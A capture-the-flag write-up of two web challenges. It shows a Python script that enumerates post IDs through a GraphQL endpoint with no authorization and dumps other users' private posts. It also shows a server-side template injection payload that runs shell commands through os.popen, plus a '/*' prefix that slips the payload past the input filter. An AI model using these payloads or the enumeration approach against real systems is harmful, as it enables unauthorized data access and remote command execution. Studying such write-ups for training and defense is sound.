Web

(100) Maze Graph

In this task we were given GraphQL endpoint with user-friendly web interface hosted on `/graphql` subpage. Based on API we could deduce that server implements some kind of blog on which users are able to write private and public posts. The provided methods focus on accessing data stored on server, like: list of all existing users or all public posts. Apart from that, one of the requests types lets us list posts created by user with our ID, which is randomly assigned every time we enter the page. The first idea was to keep reading this endpoints in independent sessions, until the server assigns us the ID of user who posted the flag. Quickly, we realised that ID `1` was not possible to obtain that way.

After further investigation we noticed one more method, which allows to retrieve the post by its ID. Luckily for us, this one method was missing any form of authorization - we were able to read both private and public posts made by any user just by providing a valid ID. The following Python script was used to dump all posts from the server:

```
#!/usr/bin/env python3
import requests
import json

for i in range(1, 1000):
    r =
requests.post("http://gamebox1.reply.it/a37881ac48f4f21d0fb67607d6066ef7/graphql",
        headers={"Accept": "application/json"},
        json={"query":f'{{post(id: "{i}") {{public,title,content,author{{id}}}}}}',
"variables": "null"})
    j = json.loads(r.text)['data']['post']
    if j['public'] == True:
        print(f'{i}: public')
    else:
        author = int(j['author']['id'])
        print(f'{i}: private, author {author}')
        if author == 1:
            print("PRIV_MSG: ", j['title'], j['content'])
```

One of the messages from user with ID `1` contained information that the flag should be accessible as asset of some ID. By using method for accessing assets, we managed to extract the flag like this:

```
{ getAsset(name: "ID of asset from message") }
```

(200) The Secret Notebook

Form visible on the web page allows user to decrypt their messages using some sort of cipher. The first think we noticed was that the cipher is symmetrical - the same form could be used for both encrypting and decrypting messages. What's more, application was vulnerable to SSTI (Server Site Template Injection) attack, which should be straightforward to exploit with the payload similar to the one below (lots of other similar payloads could be found on the internet):

```
{{ request['application']['__globals__']['__builtins__']['__import__']('os')['popen']
('whoami')['read']() }}
```

Sadly, some sort of validation was performed by server and our template wasn't executed. After a few dozens of trials and errors, we noticed that for some unknown reason, server doesn't validate messages starting with `/*`. After adjusting our previous payload, we managed to run an arbitrary shell command on server and extract the flag stored in file `flag/flag.txt`.

```
/* {{ request['application']['__globals__']['__builtins__']['__import__']('os')
['popen']('cat flag/flag.txt')['read']() }}
```

Moreover, just for curiosity, we used this method to dump server source code and check what kind of validation was implemented. Surprisingly, user input was sanitized with some huge multi-line regex expression and we don't have the faintest idea of how it works :)